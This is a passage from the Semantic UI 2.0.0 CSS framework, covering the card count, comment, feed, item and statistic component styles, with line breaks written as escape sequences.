0px 2px 0px 0px #27292a, 0px 1px 3px 0px #bcbdbd;\n}\n\n/*--------------\n   Card Count\n---------------*/\n\n.ui.one.cards {\n  margin-left: 0em;\n  margin-right: 0em;\n}\n\n.ui.one.cards > .card {\n  width: 100%;\n}\n\n.ui.two.cards {\n  margin-left: -1em;\n  margin-right: -1em;\n}\n\n.ui.two.cards > .card {\n  width: calc( 50%  -  2em );\n  margin-left: 1em;\n  margin-right: 1em;\n}\n\n.ui.three.cards {\n  margin-left: -1em;\n  margin-right: -1em;\n}\n\n.ui.three.cards > .card {\n  width: calc( 33.33333333%  -  2em );\n  margin-left: 1em;\n  margin-right: 1em;\n}\n\n.ui.four.cards {\n  margin-left: -0.75em;\n  margin-right: -0.75em;\n}\n\n.ui.four.cards > .card {\n  width: calc( 25%  -  1.5em );\n  margin-left: 0.75em;\n  margin-right: 0.75em;\n}\n\n.ui.five.cards {\n  margin-left: -0.75em;\n  margin-right: -0.75em;\n}\n\n.ui.five.cards > .card {\n  width: calc( 20%  -  1.5em );\n  margin-left: 0.75em;\n  margin-right: 0.75em;\n}\n\n.ui.six.cards {\n  margin-left: -0.75em;\n  margin-right: -0.75em;\n}\n\n.ui.six.cards > .card {\n  width: calc( 16.66666667%  -  1.5em );\n  margin-left: 0.75em;\n  margin-right: 0.75em;\n}\n\n.ui.seven.cards {\n  margin-left: -0.5em;\n  margin-right: -0.5em;\n}\n\n.ui.seven.cards > .card {\n  width: calc( 14.28571429%  -  1em );\n  margin-left: 0.5em;\n  margin-right: 0.5em;\n}\n\n.ui.eight.cards {\n  margin-left: -0.5em;\n  margin-right: -0.5em;\n}\n\n.ui.eight.cards > .card {\n  width: calc( 12.5%  -  1em );\n  margin-left: 0.5em;\n  margin-right: 0.5em;\n  font-size: 11px;\n}\n\n.ui.nine.cards {\n  margin-left: -0.5em;\n  margin-right: -0.5em;\n}\n\n.ui.nine.cards > .card {\n  width: calc( 11.11111111%  -  1em );\n  margin-left: 0.5em;\n  margin-right: 0.5em;\n  font-size: 10px;\n}\n\n.ui.ten.cards {\n  margin-left: -0.5em;\n  margin-right: -0.5em;\n}\n\n.ui.ten.cards > .card {\n  width: calc( 10%  -  1em );\n  margin-left: 0.5em;\n  margin-right: 0.5em;\n}\n\n/*-------------------\n      Doubling\n--------------------*/\n\n/* Mobily Only */\n\n@media only screen and (max-width: 767px) {\n  .ui.two.doubling.cards {\n    margin-left: 0em;\n    margin-right: 0em;\n  }\n\n  .ui.two.doubling.cards .card {\n    width: 100%;\n    margin-left: 0em;\n    margin-right: 0em;\n  }\n\n  .ui.three.doubling.cards {\n    margin-left: -1em;\n    margin-right: -1em;\n  }\n\n  .ui.three.doubling.cards .card {\n    width: calc( 50%  -  2em );\n    margin-left: 1em;\n    margin-right: 1em;\n  }\n\n  .ui.four.doubling.cards {\n    margin-left: -1em;\n    margin-right: -1em;\n  }\n\n  .ui.four.doubling.cards .card {\n    width: calc( 50%  -  2em );\n    margin-left: 1em;\n    margin-right: 1em;\n  }\n\n  .ui.five.doubling.cards {\n    margin-left: -1em;\n    margin-right: -1em;\n  }\n\n  .ui.five.doubling.cards .card {\n    width: calc( 50%  -  2em );\n    margin-left: 1em;\n    margin-right: 1em;\n  }\n\n  .ui.six.doubling.cards {\n    margin-left: -1em;\n    margin-right: -1em;\n  }\n\n  .ui.six.doubling.cards .card {\n    width: calc( 50%  -  2em );\n    margin-left: 1em;\n    margin-right: 1em;\n  }\n\n  .ui.seven.doubling.cards {\n    margin-left: -1em;\n    margin-right: -1em;\n  }\n\n  .ui.seven.doubling.cards .card {\n    width: calc( 33.33333333%  -  2em );\n    margin-left: 1em;\n    margin-right: 1em;\n  }\n\n  .ui.eight.doubling.cards {\n    margin-left: -1em;\n    margin-right: -1em;\n  }\n\n  .ui.eight.doubling.cards .card {\n    width: calc( 33.33333333%  -  2em );\n    margin-left: 1em;\n    margin-right: 1em;\n  }\n\n  .ui.nine.doubling.cards {\n    margin-left: -1em;\n    margin-right: -1em;\n  }\n\n  .ui.nine.doubling.cards .card {\n    width: calc( 33.33333333%  -  2em );\n    margin-left: 1em;\n    margin-right: 1em;\n  }\n\n  .ui.ten.doubling.cards {\n    margin-left: -1em;\n    margin-right: -1em;\n  }\n\n  .ui.ten.doubling.cards .card {\n    width: calc( 33.33333333%  -  2em );\n    margin-left: 1em;\n    margin-right: 1em;\n  }\n}\n\n/* Tablet Only */\n\n@media only screen and (min-width: 768px) and (max-width: 991px) {\n  .ui.two.doubling.cards {\n    margin-left: 0em;\n    margin-right: 0em;\n  }\n\n  .ui.two.doubling.cards .card {\n    width: 100%;\n    margin-left: 0em;\n    margin-right: 0em;\n  }\n\n  .ui.three.doubling.cards {\n    margin-left: -1em;\n    margin-right: -1em;\n  }\n\n  .ui.three.doubling.cards .card {\n    width: calc( 50%  -  2em );\n    margin-left: 1em;\n    margin-right: 1em;\n  }\n\n  .ui.four.doubling.cards {\n    margin-left: -1em;\n    margin-right: -1em;\n  }\n\n  .ui.four.doubling.cards .card {\n    width: calc( 50%  -  2em );\n    margin-left: 1em;\n    margin-right: 1em;\n  }\n\n  .ui.five.doubling.cards {\n    margin-left: -1em;\n    margin-right: -1em;\n  }\n\n  .ui.five.doubling.cards .card {\n    width: calc( 33.33333333%  -  2em );\n    margin-left: 1em;\n    margin-right: 1em;\n  }\n\n  .ui.six.doubling.cards {\n    margin-left: -1em;\n    margin-right: -1em;\n  }\n\n  .ui.six.doubling.cards .card {\n    width: calc( 33.33333333%  -  2em );\n    margin-left: 1em;\n    margin-right: 1em;\n  }\n\n  .ui.eight.doubling.cards {\n    margin-left: -1em;\n    margin-right: -1em;\n  }\n\n  .ui.eight.doubling.cards .card {\n    width: calc( 33.33333333%  -  2em );\n    margin-left: 1em;\n    margin-right: 1em;\n  }\n\n  .ui.eight.doubling.cards {\n    margin-left: -0.75em;\n    margin-right: -0.75em;\n  }\n\n  .ui.eight.doubling.cards .card {\n    width: calc( 25%  -  1.5em );\n    margin-left: 0.75em;\n    margin-right: 0.75em;\n  }\n\n  .ui.nine.doubling.cards {\n    margin-left: -0.75em;\n    margin-right: -0.75em;\n  }\n\n  .ui.nine.doubling.cards .card {\n    width: calc( 25%  -  1.5em );\n    margin-left: 0.75em;\n    margin-right: 0.75em;\n  }\n\n  .ui.ten.doubling.cards {\n    margin-left: -0.75em;\n    margin-right: -0.75em;\n  }\n\n  .ui.ten.doubling.cards .card {\n    width: calc( 20%  -  1.5em );\n    margin-left: 0.75em;\n    margin-right: 0.75em;\n  }\n}\n\n/*-------------------\n      Stackable\n--------------------*/\n\n@media only screen and (max-width: 767px) {\n  .ui.stackable.cards {\n    display: block !important;\n  }\n\n  .ui.stackable.cards .card:first-child {\n    margin-top: 0em !important;\n  }\n\n  .ui.stackable.cards > .card {\n    display: block !important;\n    height: auto !important;\n    margin: 1em 1em;\n    padding: 0 !important;\n    width: calc( 100%  -  2em ) !important;\n  }\n}\n\n/*--------------\n      Size\n---------------*/\n\n.ui.cards > .card {\n  font-size: 1em;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n    User Variable Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Comment\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Standard\n*******************************/\n\n/*--------------\n    Comments\n---------------*/\n\n.ui.comments {\n  margin: 1.5em 0em;\n  max-width: 650px;\n}\n\n.ui.comments:first-child {\n  margin-top: 0em;\n}\n\n.ui.comments:last-child {\n  margin-bottom: 0em;\n}\n\n/*--------------\n     Comment\n---------------*/\n\n.ui.comments .comment {\n  position: relative;\n  background: none;\n  margin: 0.5em 0em 0em;\n  padding: 0.5em 0em 0em;\n  border: none;\n  border-top: none;\n  line-height: 1.2;\n}\n\n.ui.comments .comment:first-child {\n  margin-top: 0em;\n  padding-top: 0em;\n}\n\n/*--------------------\n    Nested Comments\n---------------------*/\n\n.ui.comments .comment .comments {\n  margin: 0em 0em 0.5em 0.5em;\n  padding: 1em 0em 1em 1em;\n}\n\n.ui.comments .comment .comments:before {\n  position: absolute;\n  top: 0px;\n  left: 0px;\n}\n\n.ui.comments .comment .comments .comment {\n  border: none;\n  border-top: none;\n  background: none;\n}\n\n/*--------------\n     Avatar\n---------------*/\n\n.ui.comments .comment .avatar {\n  display: block;\n  width: 2.5em;\n  height: auto;\n  float: left;\n  margin: 0.2em 0em 0em;\n}\n\n.ui.comments .comment img.avatar,\n.ui.comments .comment .avatar img {\n  display: block;\n  margin: 0em auto;\n  width: 100%;\n  height: 100%;\n  border-radius: 0.25rem;\n}\n\n/*--------------\n     Content\n---------------*/\n\n.ui.comments .comment > .content {\n  display: block;\n}\n\n/* If there is an avatar move content over */\n\n.ui.comments .comment > .avatar ~ .content {\n  margin-left: 3.5em;\n}\n\n/*--------------\n     Author\n---------------*/\n\n.ui.comments .comment .author {\n  font-size: 1em;\n  color: rgba(0, 0, 0, 0.87);\n  font-weight: bold;\n}\n\n.ui.comments .comment a.author {\n  cursor: pointer;\n}\n\n.ui.comments .comment a.author:hover {\n  color: #1e70bf;\n}\n\n/*--------------\n     Metadata\n---------------*/\n\n.ui.comments .comment .metadata {\n  display: inline-block;\n  margin-left: 0.5em;\n  color: rgba(0, 0, 0, 0.4);\n  font-size: 0.875em;\n}\n\n.ui.comments .comment .metadata > * {\n  display: inline-block;\n  margin: 0em 0.5em 0em 0em;\n}\n\n.ui.comments .comment .metadata > :last-child {\n  margin-right: 0em;\n}\n\n/*--------------------\n     Comment Text\n---------------------*/\n\n.ui.comments .comment .text {\n  margin: 0.25em 0em 0.5em;\n  font-size: 1em;\n  word-wrap: break-word;\n  color: rgba(0, 0, 0, 0.87);\n  line-height: 1.3;\n}\n\n/*--------------------\n     User Actions\n---------------------*/\n\n.ui.comments .comment .actions {\n  font-size: 0.875em;\n}\n\n.ui.comments .comment .actions a {\n  cursor: pointer;\n  display: inline-block;\n  margin: 0em 0.75em 0em 0em;\n  color: rgba(0, 0, 0, 0.4);\n}\n\n.ui.comments .comment .actions a:last-child {\n  margin-right: 0em;\n}\n\n.ui.comments .comment .actions a.active,\n.ui.comments .comment .actions a:hover {\n  color: rgba(0, 0, 0, 0.8);\n}\n\n/*--------------------\n      Reply Form\n---------------------*/\n\n.ui.comments > .reply.form {\n  margin-top: 1em;\n}\n\n.ui.comments .comment .reply.form {\n  width: 100%;\n  margin-top: 1em;\n}\n\n.ui.comments .reply.form textarea {\n  font-size: 1em;\n  height: 12em;\n}\n\n/*******************************\n            State\n*******************************/\n\n.ui.collapsed.comments,\n.ui.comments .collapsed.comments,\n.ui.comments .collapsed.comment {\n  display: none;\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*--------------------\n        Threaded\n---------------------*/\n\n.ui.threaded.comments .comment .comments {\n  margin: -1.5em 0 -1em 1.25em;\n  padding: 3em 0em 2em 2.25em;\n  box-shadow: -1px 0px 0px rgba(34, 36, 38, 0.15);\n}\n\n/*--------------------\n        Minimal\n---------------------*/\n\n.ui.minimal.comments .comment .actions {\n  opacity: 0;\n  position: absolute;\n  top: 0px;\n  right: 0px;\n  left: auto;\n  -webkit-transition: opacity 0.2s ease;\n  transition: opacity 0.2s ease;\n  -webkit-transition-delay: 0.1s;\n  transition-delay: 0.1s;\n}\n\n.ui.minimal.comments .comment > .content:hover > .actions {\n  opacity: 1;\n}\n\n/*--------------------\n       Sizes\n---------------------*/\n\n.ui.small.comments {\n  font-size: 0.9em;\n}\n\n.ui.comments {\n  font-size: 1em;\n}\n\n.ui.large.comments {\n  font-size: 1.1em;\n}\n\n.ui.huge.comments {\n  font-size: 1.2em;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n    User Variable Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Feed\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n         Activity Feed\n*******************************/\n\n.ui.feed {\n  margin: 1em 0em;\n}\n\n.ui.feed:first-child {\n  margin-top: 0em;\n}\n\n.ui.feed:last-child {\n  margin-bottom: 0em;\n}\n\n/*******************************\n            Content\n*******************************/\n\n/* Event */\n\n.ui.feed > .event {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-orient: horizontal;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: row;\n  -ms-flex-direction: row;\n  flex-direction: row;\n  width: 100%;\n  padding: 0.21428571rem 0em;\n  margin: 0em;\n  background: none;\n  border-top: none;\n}\n\n.ui.feed > .event:first-child {\n  border-top: 0px;\n  padding-top: 0em;\n}\n\n.ui.feed > .event:last-child {\n  padding-bottom: 0em;\n}\n\n/* Event Label */\n\n.ui.feed > .event > .label {\n  display: block;\n  -webkit-box-flex: 0;\n  -webkit-flex: 0 0 auto;\n  -ms-flex: 0 0 auto;\n  flex: 0 0 auto;\n  width: 2.5em;\n  height: auto;\n  -webkit-align-self: stretch;\n  -ms-flex-item-align: stretch;\n  align-self: stretch;\n  text-align: left;\n}\n\n.ui.feed > .event > .label .icon {\n  opacity: 1;\n  font-size: 1.5em;\n  width: 100%;\n  padding: 0.25em;\n  background: none;\n  border: none;\n  border-radius: none;\n  color: rgba(0, 0, 0, 0.6);\n}\n\n.ui.feed > .event > .label img {\n  width: 100%;\n  height: auto;\n  border-radius: 500rem;\n}\n\n.ui.feed > .event > .label + .content {\n  margin: 0.5em 0em 0.35714286em 1.14285714em;\n}\n\n/*--------------\n     Content\n---------------*/\n\n/* Content */\n\n.ui.feed > .event > .content {\n  display: block;\n  -webkit-box-flex: 1;\n  -webkit-flex: 1 1 auto;\n  -ms-flex: 1 1 auto;\n  flex: 1 1 auto;\n  -webkit-align-self: stretch;\n  -ms-flex-item-align: stretch;\n  align-self: stretch;\n  text-align: left;\n  word-wrap: break-word;\n}\n\n.ui.feed > .event:last-child > .content {\n  padding-bottom: 0em;\n}\n\n/* Link */\n\n.ui.feed > .event > .content a {\n  cursor: pointer;\n}\n\n/*--------------\n      Date\n---------------*/\n\n.ui.feed > .event > .content .date {\n  margin: -0.5rem 0em 0em;\n  padding: 0em;\n  font-weight: normal;\n  font-size: 1em;\n  font-style: normal;\n  color: rgba(0, 0, 0, 0.4);\n}\n\n/*--------------\n     Summary\n---------------*/\n\n.ui.feed > .event > .content .summary {\n  margin: 0em;\n  font-size: 1em;\n  font-weight: bold;\n  color: rgba(0, 0, 0, 0.87);\n}\n\n/* Summary Image */\n\n.ui.feed > .event > .content .summary img {\n  display: inline-block;\n  width: auto;\n  height: 10em;\n  margin: -0.25em 0.25em 0em 0em;\n  border-radius: 0.25em;\n  vertical-align: middle;\n}\n\n/*--------------\n      User\n---------------*/\n\n.ui.feed > .event > .content .user {\n  display: inline-block;\n  font-weight: bold;\n  margin-right: 0em;\n  vertical-align: baseline;\n}\n\n.ui.feed > .event > .content .user img {\n  margin: -0.25em 0.25em 0em 0em;\n  width: auto;\n  height: 10em;\n  vertical-align: middle;\n}\n\n/*--------------\n   Inline Date\n---------------*/\n\n/* Date inside Summary */\n\n.ui.feed > .event > .content .summary > .date {\n  display: inline-block;\n  float: none;\n  font-weight: normal;\n  font-size: 0.85714286em;\n  font-style: normal;\n  margin: 0em 0em 0em 0.5em;\n  padding: 0em;\n  color: rgba(0, 0, 0, 0.4);\n}\n\n/*--------------\n  Extra Summary\n---------------*/\n\n.ui.feed > .event > .content .extra {\n  margin: 0.5em 0em 0em;\n  background: none;\n  padding: 0em;\n  color: rgba(0, 0, 0, 0.87);\n}\n\n/* Images */\n\n.ui.feed > .event > .content .extra.images img {\n  display: inline-block;\n  margin: 0em 0.25em 0em 0em;\n  width: 6em;\n}\n\n/* Text */\n\n.ui.feed > .event > .content .extra.text {\n  padding: 0em;\n  border-left: none;\n  font-size: 1em;\n  max-width: 500px;\n  line-height: 1.4285em;\n}\n\n/*--------------\n      Meta\n---------------*/\n\n.ui.feed > .event > .content .meta {\n  display: inline-block;\n  font-size: 0.85714286em;\n  margin: 0.5em 0em 0em;\n  background: none;\n  border: none;\n  border-radius: 0;\n  box-shadow: none;\n  padding: 0em;\n  color: rgba(0, 0, 0, 0.6);\n}\n\n.ui.feed > .event > .content .meta > * {\n  position: relative;\n  margin-left: 0.75em;\n}\n\n.ui.feed > .event > .content .meta > *:after {\n  content: '';\n  color: rgba(0, 0, 0, 0.2);\n  top: 0em;\n  left: -1em;\n  opacity: 1;\n  position: absolute;\n  vertical-align: top;\n}\n\n.ui.feed > .event > .content .meta .like {\n  color: '';\n  -webkit-transition: 0.2s color ease;\n  transition: 0.2s color ease;\n}\n\n.ui.feed > .event > .content .meta .like:hover .icon {\n  color: #ff2733;\n}\n\n.ui.feed > .event > .content .meta .active.like .icon {\n  color: #ef404a;\n}\n\n/* First element */\n\n.ui.feed > .event > .content .meta > :first-child {\n  margin-left: 0em;\n}\n\n.ui.feed > .event > .content .meta > :first-child::after {\n  display: none;\n}\n\n/* Action */\n\n.ui.feed > .event > .content .meta a,\n.ui.feed > .event > .content .meta > .icon {\n  cursor: pointer;\n  opacity: 1;\n  color: rgba(0, 0, 0, 0.5);\n  -webkit-transition: color 0.1s ease;\n  transition: color 0.1s ease;\n}\n\n.ui.feed > .event > .content .meta a:hover,\n.ui.feed > .event > .content .meta a:hover .icon,\n.ui.feed > .event > .content .meta > .icon:hover {\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/*******************************\n            Variations\n*******************************/\n\n.ui.small.feed {\n  font-size: 0.92857143rem;\n}\n\n.ui.feed {\n  font-size: 1rem;\n}\n\n.ui.large.feed {\n  font-size: 1.14285714rem;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n    User Variable Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Item\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Standard\n*******************************/\n\n/*--------------\n      Item\n---------------*/\n\n.ui.items > .item {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  margin: 1em 0em;\n  width: 100%;\n  min-height: 0px;\n  background: transparent;\n  padding: 0em;\n  border: none;\n  border-radius: 0rem;\n  box-shadow: none;\n  -webkit-transition: box-shadow 0.1s ease;\n  transition: box-shadow 0.1s ease;\n  z-index: '';\n}\n\n.ui.items > .item a {\n  cursor: pointer;\n}\n\n/*--------------\n      Items\n---------------*/\n\n.ui.items {\n  margin: 1.5em 0em;\n}\n\n.ui.items:first-child {\n  margin-top: 0em !important;\n}\n\n.ui.items:last-child {\n  margin-bottom: 0em !important;\n}\n\n/*--------------\n      Item\n---------------*/\n\n.ui.items > .item:after {\n  display: block;\n  content: ' ';\n  height: 0px;\n  clear: both;\n  overflow: hidden;\n  visibility: hidden;\n}\n\n.ui.items > .item:first-child {\n  margin-top: 0em;\n}\n\n.ui.items > .item:last-child {\n  margin-bottom: 0em;\n}\n\n/*--------------\n     Images\n---------------*/\n\n.ui.items > .item > .image {\n  position: relative;\n  -webkit-box-flex: 0;\n  -webkit-flex: 0 0 auto;\n  -ms-flex: 0 0 auto;\n  flex: 0 0 auto;\n  display: block;\n  float: none;\n  margin: 0em;\n  padding: 0em;\n  max-height: '';\n  -webkit-align-self: top;\n  -ms-flex-item-align: top;\n  align-self: top;\n}\n\n.ui.items > .item > .image > img {\n  display: block;\n  width: 100%;\n  height: auto;\n  border-radius: 0.125rem;\n  border: none;\n}\n\n.ui.items > .item > .image:only-child > img {\n  border-radius: 0rem;\n}\n\n/*--------------\n     Content\n---------------*/\n\n.ui.items > .item > .content {\n  display: block;\n  -webkit-box-flex: 1;\n  -webkit-flex: 1 1 auto;\n  -ms-flex: 1 1 auto;\n  flex: 1 1 auto;\n  background: none;\n  margin: 0em;\n  padding: 0em;\n  box-shadow: none;\n  font-size: 1em;\n  border: none;\n  border-radius: 0em;\n}\n\n.ui.items > .item > .content:after {\n  display: block;\n  content: ' ';\n  height: 0px;\n  clear: both;\n  overflow: hidden;\n  visibility: hidden;\n}\n\n.ui.items > .item > .image + .content {\n  min-width: 0;\n  width: auto;\n  display: block;\n  margin-left: 0em;\n  -webkit-align-self: top;\n  -ms-flex-item-align: top;\n  align-self: top;\n  padding-left: 1.5em;\n}\n\n.ui.items > .item > .content > .header {\n  display: inline-block;\n  margin: -0.21425em 0em 0em;\n  font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif;\n  font-weight: bold;\n  color: rgba(0, 0, 0, 0.85);\n}\n\n/* Default Header Size */\n\n.ui.items > .item > .content > .header:not(.ui) {\n  font-size: 1.28571429em;\n}\n\n/*--------------\n     Floated\n---------------*/\n\n.ui.items > .item [class*=\"left floated\"] {\n  float: left;\n}\n\n.ui.items > .item [class*=\"right floated\"] {\n  float: right;\n}\n\n/*--------------\n  Content Image\n---------------*/\n\n.ui.items > .item .content img {\n  -webkit-align-self: middle;\n  -ms-flex-item-align: middle;\n  align-self: middle;\n  width: '';\n}\n\n.ui.items > .item img.avatar,\n.ui.items > .item .avatar img {\n  width: '';\n  height: '';\n  border-radius: 500rem;\n}\n\n/*--------------\n   Description\n---------------*/\n\n.ui.items > .item > .content > .description {\n  margin-top: 0.6em;\n  max-width: auto;\n  font-size: 1em;\n  line-height: 1.4285em;\n  color: rgba(0, 0, 0, 0.87);\n}\n\n/*--------------\n    Paragraph\n---------------*/\n\n.ui.items > .item > .content p {\n  margin: 0em 0em 0.5em;\n}\n\n.ui.items > .item > .content p:last-child {\n  margin-bottom: 0em;\n}\n\n/*--------------\n      Meta\n---------------*/\n\n.ui.items > .item .meta {\n  margin: 0.5em 0em 0.5em;\n  font-size: 1em;\n  line-height: 1em;\n  color: rgba(0, 0, 0, 0.6);\n}\n\n.ui.items > .item .meta * {\n  margin-right: 0.3em;\n}\n\n.ui.items > .item .meta :last-child {\n  margin-right: 0em;\n}\n\n.ui.items > .item .meta [class*=\"right floated\"] {\n  margin-right: 0em;\n  margin-left: 0.3em;\n}\n\n/*--------------\n      Links\n---------------*/\n\n/* Generic */\n\n.ui.items > .item > .content a:not(.ui) {\n  color: '';\n  -webkit-transition: color 0.1s ease;\n  transition: color 0.1s ease;\n}\n\n.ui.items > .item > .content a:not(.ui):hover {\n  color: '';\n}\n\n/* Header */\n\n.ui.items > .item > .content > a.header {\n  color: rgba(0, 0, 0, 0.85);\n}\n\n.ui.items > .item > .content > a.header:hover {\n  color: #1e70bf;\n}\n\n/* Meta */\n\n.ui.items > .item .meta > a:not(.ui) {\n  color: rgba(0, 0, 0, 0.4);\n}\n\n.ui.items > .item .meta > a:not(.ui):hover {\n  color: rgba(0, 0, 0, 0.87);\n}\n\n/*--------------\n     Labels\n---------------*/\n\n/*-----Star----- */\n\n/* Icon */\n\n.ui.items > .item > .content .favorite.icon {\n  cursor: pointer;\n  opacity: 0.75;\n  -webkit-transition: color 0.1s ease;\n  transition: color 0.1s ease;\n}\n\n.ui.items > .item > .content .favorite.icon:hover {\n  opacity: 1;\n  color: #ffb70a;\n}\n\n.ui.items > .item > .content .active.favorite.icon {\n  color: #ffe623;\n}\n\n/*-----Like----- */\n\n/* Icon */\n\n.ui.items > .item > .content .like.icon {\n  cursor: pointer;\n  opacity: 0.75;\n  -webkit-transition: color 0.1s ease;\n  transition: color 0.1s ease;\n}\n\n.ui.items > .item > .content .like.icon:hover {\n  opacity: 1;\n  color: #ff2733;\n}\n\n.ui.items > .item > .content .active.like.icon {\n  color: #ff2733;\n}\n\n/*----------------\n  Extra Content\n-----------------*/\n\n.ui.items > .item .extra {\n  display: block;\n  position: relative;\n  background: none;\n  margin: 0.5rem 0em 0em;\n  width: 100%;\n  padding: 0em 0em 0em;\n  top: 0em;\n  left: 0em;\n  color: rgba(0, 0, 0, 0.4);\n  box-shadow: none;\n  -webkit-transition: color 0.1s ease;\n  transition: color 0.1s ease;\n  border-top: none;\n}\n\n.ui.items > .item .extra > * {\n  margin: 0.25rem 0.5rem 0.25rem 0em;\n}\n\n.ui.items > .item .extra > [class*=\"right floated\"] {\n  margin: 0.25rem 0em 0.25rem 0.5rem;\n}\n\n.ui.items > .item .extra:after {\n  display: block;\n  content: ' ';\n  height: 0px;\n  clear: both;\n  overflow: hidden;\n  visibility: hidden;\n}\n\n/*******************************\n          Responsive\n*******************************/\n\n/* Default Image Width */\n\n.ui.items > .item > .image:not(.ui) {\n  width: 175px;\n}\n\n/* Tablet Only */\n\n@media only screen and (min-width: 768px) and (max-width: 991px) {\n  .ui.items > .item {\n    margin: 1em 0em;\n  }\n\n  .ui.items > .item > .image:not(.ui) {\n    width: 150px;\n  }\n\n  .ui.items > .item > .image + .content {\n    display: block;\n    padding: 0em 0em 0em 1em;\n  }\n}\n\n/* Mobily Only */\n\n@media only screen and (max-width: 767px) {\n  .ui.items > .item {\n    -webkit-box-orient: vertical;\n    -webkit-box-direction: normal;\n    -webkit-flex-direction: column;\n    -ms-flex-direction: column;\n    flex-direction: column;\n    margin: 2em 0em;\n  }\n\n  .ui.items > .item > .image {\n    display: block;\n    margin-left: auto;\n    margin-right: auto;\n  }\n\n  .ui.items > .item > .image,\n  .ui.items > .item > .image > img {\n    max-width: 100% !important;\n    width: auto !important;\n    max-height: 250px !important;\n  }\n\n  .ui.items > .item > .image + .content {\n    display: block;\n    padding: 1.5em 0em 0em;\n  }\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*-------------------\n       Aligned\n--------------------*/\n\n.ui.items > .item > .image + [class*=\"top aligned\"].content {\n  -webkit-align-self: top;\n  -ms-flex-item-align: top;\n  align-self: top;\n}\n\n.ui.items > .item > .image + [class*=\"middle aligned\"].content {\n  -webkit-align-self: center;\n  -ms-flex-item-align: center;\n  align-self: center;\n}\n\n.ui.items > .item > .image + [class*=\"bottom aligned\"].content {\n  -webkit-align-self: bottom;\n  -ms-flex-item-align: bottom;\n  align-self: bottom;\n}\n\n/*--------------\n     Relaxed\n---------------*/\n\n.ui.relaxed.items > .item {\n  margin: 1.5em 0em;\n}\n\n.ui[class*=\"very relaxed\"].items > .item {\n  margin: 2em 0em;\n}\n\n/*-------------------\n      Divided\n--------------------*/\n\n.ui.divided.items > .item {\n  border-top: 1px solid rgba(34, 36, 38, 0.15);\n  margin: 0em;\n  padding: 1em 0em;\n}\n\n.ui.divided.items > .item:first-child {\n  border-top: none;\n  margin-top: 0em !important;\n  padding-top: 0em !important;\n}\n\n.ui.divided.items > .item:last-child {\n  margin-bottom: 0em !important;\n  padding-bottom: 0em !important;\n}\n\n/* Relaxed Divided */\n\n.ui.relaxed.divided.items > .item {\n  margin: 0em;\n  padding: 1.5em 0em;\n}\n\n.ui[class*=\"very relaxed\"].divided.items > .item {\n  margin: 0em;\n  padding: 2em 0em;\n}\n\n/*-------------------\n        Link\n--------------------*/\n\n.ui.items a.item:hover,\n.ui.link.items > .item:hover {\n  cursor: pointer;\n}\n\n.ui.items a.item:hover .content .header,\n.ui.link.items > .item:hover .content .header {\n  color: #1e70bf;\n}\n\n/*--------------\n      Size\n---------------*/\n\n.ui.items > .item {\n  font-size: 1em;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n    User Variable Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Statistic\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n           Statistic\n*******************************/\n\n/* Standalone */\n\n.ui.statistic {\n  display: -webkit-inline-box;\n  display: -webkit-inline-flex;\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: column;\n  -ms-flex-direction: column;\n  flex-direction: column;\n  margin: 1em 0em;\n  max-width: auto;\n}\n\n.ui.statistic + .ui.statistic {\n  margin: 0em 0em 0em 1.5em;\n}\n\n.ui.statistic:first-child {\n  margin-top: 0em;\n}\n\n.ui.statistic:last-child {\n  margin-bottom: 0em;\n}\n\n/*******************************\n            Group\n*******************************/\n\n/* Grouped */\n\n.ui.statistics {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-align: start;\n  -webkit-align-items: flex-start;\n  -ms-flex-align: start;\n  align-items: flex-start;\n  -webkit-flex-wrap: wrap;\n  -ms-flex-wrap: wrap;\n  flex-wrap: wrap;\n}\n\n.ui.statistics > .statistic {\n  display: -webkit-inline-box;\n  display: -webkit-inline-flex;\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n  -webkit-box-flex: 0;\n  -webkit-flex: 0 1 auto;\n  -ms-flex: 0 1 auto;\n  flex: 0 1 auto;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: column;\n  -ms-flex-direction: column;\n  flex-direction: column;\n  margin: 0em 1.5em 2em;\n  max-width: auto;\n}\n\n.ui.statistics {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  margin: 1em -1.5em -2em;\n}\n\n/* Clearing */\n\n.ui.statistics:after {\n  display: block;\n  content: ' ';\n  height: 0px;\n  clear: both;\n  overflow: hidden;\n  visibility: hidden;\n}\n\n.ui.statistics:first-child {\n  margin-top: 0em;\n}\n\n.ui.statistics:last-child {\n  margin-bottom: 0em;\n}\n\n/*******************************\n            Content\n*******************************/\n\n/*--------------\n      Value\n---------------*/\n\n.ui.statistics 